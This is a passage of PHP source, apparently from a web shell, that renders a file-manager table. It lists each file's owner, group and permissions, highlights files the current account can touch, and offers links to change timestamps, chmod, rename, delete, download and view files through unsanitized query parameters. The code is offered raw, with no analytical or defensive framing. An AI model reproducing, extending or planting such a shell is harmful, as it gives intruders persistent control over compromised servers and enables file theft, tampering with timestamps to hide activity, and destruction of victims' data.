(function_exists('posix_getgrgid')) { $fgrp = @posix_getgrgid(filegroup("$dir/$file")); $fgrp = $fgrp['name']; } else { $fgrp = filegroup("$dir/$file"); } if ($size > 1024) { $size = round($size / 1024, 2) . 'MB'; } else { $size = $size . 'KB'; } if (!is_file("$dir/$file")) continue; $ftime = "<a href='?act=change_time&dir=$dir&file=$dir/$file'>$ftime</a>"; echo "<tr>"; echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>"; echo "<td class='td_home'><center>$ftype</center></td>"; echo "<td class='td_home'><center>$size</center></td>"; echo "<td class='td_home'><center>$ftime</center></td>"; if ($fowner == $user || $fgrp == $group) { echo "<td class='td_home' style='color:yellow;'><center>$fowner/$fgrp</center></td>"; } else { echo "<td class='td_home'><center>$fowner/$fgrp</center></td>"; } echo "<td class='td_home'><center><a href='?act=chmod&dir=$dir&file=$dir/$file'>" . checkPerm("$dir/$file", getPerm("$dir/$file")) . "</a></center></td>"; echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>"; echo "</tr>"; } echo "</table>"; if (is_readable($dir)) { echo "<hr>"; } } ?> </html>
Close